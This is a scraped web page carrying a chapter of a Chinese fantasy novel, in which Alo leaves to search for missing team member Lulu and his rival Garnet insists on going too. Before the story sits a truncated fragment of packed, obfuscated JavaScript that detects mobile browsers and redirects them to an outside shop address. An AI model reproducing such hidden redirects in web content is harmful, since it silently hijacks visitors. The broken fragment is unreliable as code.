0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13022521|134885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但那个迦涅·奥西尼和一条走廊对面的那个,已经有太多不同。 他不想多谈过去的事,摆摆手,催促芬恩离开: ——今天没你的事了,早点回家。 芬恩小心翼翼瞟了迦涅那边好几眼,明显不太放心,但最后还是一步三回头地走了。 房门对开的走廊顿时陷入异样的寂静。 成排细长玻璃窗户透进来的日光逐渐染上午后三点的昏黄色调,迦涅和阿洛各自忙碌,就好像对面的人不存在。 阿洛快速阅览旧线索报告,动作忽然停住。 甘泉镇的酒馆老板亨特购买了一件可疑物品,这条情报当初是露露·莱诺克斯递交的。三天前,这位幻术专家带着给酒馆老板的补偿金前往小镇,至今没有回来露面。 她也因此错过了队长副队长不和的好戏——她向来最爱看这种热闹,本来不应该在这时候躲起来。 阿洛皱起眉头。 如果不是忙着和迦涅针锋相对,他不会到现在才发现有队员失去联系。 他操纵羽毛笔快速写了个便条,在桌面用琥珀、干薄荷和一枚银币摆出简单的召唤阵,又拿手沾着洁净的水画了几个精灵语符号。 他现在没法念出妖精真名,只能用这种麻烦的方法召唤信使。 红鼻子妖精多米很快凭空钻出来:“阿洛先生,您的嗓子还没好吗?” 他摇摇头,将纸卷抛过去,指着封口上的“露露·莱诺克斯”,示意这是收件人。 多米对阿洛态度恭敬,他歪头辨认了一下,点了点头,端正地一欠身,消失在皱起波纹的空气中。 意外的是,没过几秒,多米就再次出现。 “阿洛先生,这信多米没法送。她在多米到不了的地方。” 阿洛抬眉。 名叫多米的红鼻子妖精眼珠转了转,尖声尖气地辩解:“莱诺克斯小姐在危险的地方,多米如果进去了就会出不来,多米还不想消散!” 妖精没压低声音,隔着一条走廊,迦涅将多米的每句话都听得清清楚楚。 露露去甘泉镇送补偿金的事她知道。为此露露至今没有参加迦涅发起的第一轮面谈。她还以为这位阿洛的队伍核心成员是故意不回信的。 现在看起来,事情可能比她想得要复杂那么一点。 “多米说不清楚她具体在哪,抱歉了,阿洛先生。”多米说完就再次一头钻进灵性之海消失了。 阿洛打了个响指,他身周飘浮的羊皮纸和羽毛笔全都落回桌面。他抓起挂在椅背上的长袍就往外走。他抖开长袍,边走边将手臂伸进宽大的袖筒。 迦涅嘴唇抿了又抿,手上的事停下了。她无言地看着阿洛锁好门站到走廊上,他转身,非常随意地扫了一眼她的方向。 四目相接。 阿洛一瞬间好像拿不定主意,不知道是否该暂时恢复和她的正常交流。 他很快下定决心,板起脸看向正前方,打算一句话不说就走人。 “不交代一下去向,副队长?”迦涅冷冷喝止。 阿洛嘴角一抽,没有再去抓书写用具,指尖散逸光尘,直接在她的办公室门板上写起来,言简意赅,多一个字母都嫌麻烦: ——甘泉镇 写完他就迈步向楼梯口去。然而走了没几步,他又忽然倒退着回到迦涅办公室门边。 刚才门板上的字母已经消散了,他抬手又写: ——如果明天这个时候我没有回来,没有新消息,你可以当我死在了那里。 他书写的速度很快,字迹相比刚才更加潦草,用词也辛辣,表情却自然且平静。 迦涅的目光在‘死’这个词上略微停留。 ——别为难卫队其他人,就算我不在,他们也能干好大多数事。 阿洛抿了抿有些干燥的嘴唇,随后好像想起以他们现在的恶劣关系,她没理由接受他的请托。于是,他更加郑重缓慢,一个字母一个字母地写: ——当然,就算你不答应,我也没法拿你怎么办。 也不等迦涅正面回应,阿洛就再度迈开步子。 迦涅坐着的高背椅忽然没那么舒服了。 只是一个队员失踪,即便其中有大蹊跷,也不至于让堂堂魔导师有去无回。但妖精信使几乎没有不敢去的地方,阿洛又态度格外严肃…… 撇开她和阿洛的争端,如果在离千塔城只有半日距离的地方发生危险事件,而阿洛在彻底完全败在她手下之前,莫名其妙地在那里永远消失…… 迦涅连换了两个坐姿,猛地深吸气。 阿洛步子大而急,转眼就到了楼梯边缘。 “喂。” 他诧异地停步,等了半拍才回头。 迦涅带上房间门,干脆地来了一句:“我也去。”